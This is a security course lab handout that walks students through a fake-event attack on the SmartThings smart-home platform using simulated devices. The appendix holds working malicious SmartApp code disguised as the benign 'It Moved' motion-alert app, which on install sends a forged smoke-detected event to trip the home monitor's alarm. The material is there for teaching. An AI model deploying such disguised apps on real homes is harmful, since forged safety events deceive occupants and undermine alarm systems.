Project 5: Fake Event on SmartThings Platform

The objective of this project is to perform the fake event attack on the SmartThings platform. In this project, you will use a malicious motion monitor app to send a fake smoke event, then this event will trigger the smoke alarm in the home monitor app.

Resources Needed

- The SmartThings “Classic” Mobile App. There are two versions and the classic version is recommended.
- A SmartThings/Samsung Account. You can create one in the mobile app or on the following website. (https://account.smartthings.com/login)
- You don’t need any additional hardware for this project.

Setup

- **Setup home location id.** Log into your mobile ST app, click the “More” tab at the bottom, click the “gear” icon at the top of the page, and set the home location. On Android version, set the location on your setting page.
  - If a “welcome enter code” page is shown, you need to wait for a while and try re-login. You can setup following virtual devices while waiting.

- **Setup virtual devices.** Once logged into the account(https://account.smartthings.com/login), create two simulated devices in the “My Device” tab.
  - Click “+New Device”
  - Give a Name
  - Give a Device Network Id with a series of number, e.g. 12345.
  - Choose Type “Simulated Motion Sensor” and “Simulated Smoke Alarm”
  - Published
  - Choose your location
  - Finish by clicking Create
• **Set up the security monitor app.** In the mobile app, click the “Home Solution” in the Dashboard tab, configure the smoke section with “Send push notification” settings and click save.

• **Extract the event information and setup the malware.**
  - On the website, create a new smart app under “My SmartApps” tab. Under “From Code” section, copy the malware code into it and click create button.
  - Open another page of the “Live Logging” tab on the website. Repeat above “Set up security monitor app” step. You should see the event log information on the website.
  - For device id, if you change the device status on the mobile app “My Home” Tab, then you can see the id on the live logging page as marked below. This device id is different from the id in the 2nd step.
  - Copy the location and device id from the logs into your malware “triggerSmoke” function.

• **Run the malware.**
  - Save the modified code and click “publish” -> “for me”.
On your mobile app, under Automation tab, click “SmartApps” -> “Add a SmartApp” -> “My Apps” -> “It moved”. Setup the app by linking the virtual sensor and phone number.

Save and run the malicious app, the smoke alarm should be triggered after 5 seconds. If it doesn’t work at first time or you need to try it again, you need to clean the home smoke status, delete and reinstall the malware.

Reporting Observations
Your report must contain:

- Screenshots of your alarm results and logs.
- Your device id and your location id.
- The modified triggerSmoke() function code.

Appendix-Malware code

definition(
    name: "It Moved",
    namespace: "smartthings",
    author: "SmartThings",
    description: "Send a text when movement is detected",
    category: "Fun & Social",
    iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/text_accelerometer.png"
preferences {
    section("When movement is detected...") {
        input "motionSensor", "capability.motionSensor", title: "Where?"
    }
    section("Text me at...") {
        input("recipients", "contact", title: "Send notifications to") {
            input "phone1", "phone", title: "Phone number?"
        }
    }
}

def installed() {
    subscribe(accelerationSensor, "motionSensor.active", accelerationActiveHandler)
    runIn(5, triggerSmoke)  // 5 seconds to trigger smoke function after installation
}

def updated() {
    unsubscribe()
    subscribe(accelerationSensor, "motionSensor.active", accelerationActiveHandler)
}

def accelerationActiveHandler(evt) {
    def deltaSeconds = 5
    def timeAgo = new Date(now() - (1000 * deltaSeconds))
    def recentEvents = accelerationSensor.eventsSince(timeAgo)
    log.trace "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds"
    def alreadySentSms = recentEvents.count { it.value && it.value == "active" } > 1
    if (alreadySentSms) {
        log.debug "SMS already sent within the last $deltaSeconds seconds"
    } else {
        if (location.contactBookEnabled) {
            log.debug "accelerationSensor has moved, texting contacts: ${recipients?.size()}
        sendNotificationToContacts("${accelerationSensor.label ?: accelerationSensor.name} moved", recipients)
        } else {
            log.debug "accelerationSensor has moved, sending text message"
            sendSms(phone1, "${accelerationSensor.label ?: accelerationSensor.name} moved")
        }
    }
}
def triggerSmoke()
    log.debug "Find smoke"
    def map = [name: "smoke", value: "detected",
        descriptionText: "${settings} smoke detected!",
        device: "virtualSmoke", deviceId:"17d1ca71-ee6c-45ed-b6cb-4c9c1921f3c8", //device id from your event
        installedSmartAppId:null, isDigital: false, isPhysical: false,
        isStateChange: true, source: "DEVICE",
        displayName:"virtualSmoke", hubId: "null", //hub id null
        locationId : "2a311530-2ef7-4bca-8a2a-3ed53fa44342"] // location id from your event
    sendLocationEvent(map) //

}

def onSmoke(evt){
    log.debug "onSmoke"
    log.debug "date: ${evt.date}"
    log.debug "Device: ${evt.device}"
    log.debug "DisplayName: ${evt.displayName}"
    log.debug "deviceId:${evt.deviceId}"
    log.debug "installedSmartAppId:${evt.installedSmartAppId}"
    log.debug "Source: ${evt.source}"
    log.debug "isDigital: ${evt.isDigital()}"
    log.debug "isPhysical: ${evt.isPhysical()}"
    log.debug "isStateChange: ${evt.isStateChange()}"
    log.debug "isStateChange: ${evt.isStateChange()}"
    log.debug "hubId: ${evt.hubId}"
    log.debug "locationId : ${evt.locationId }"
}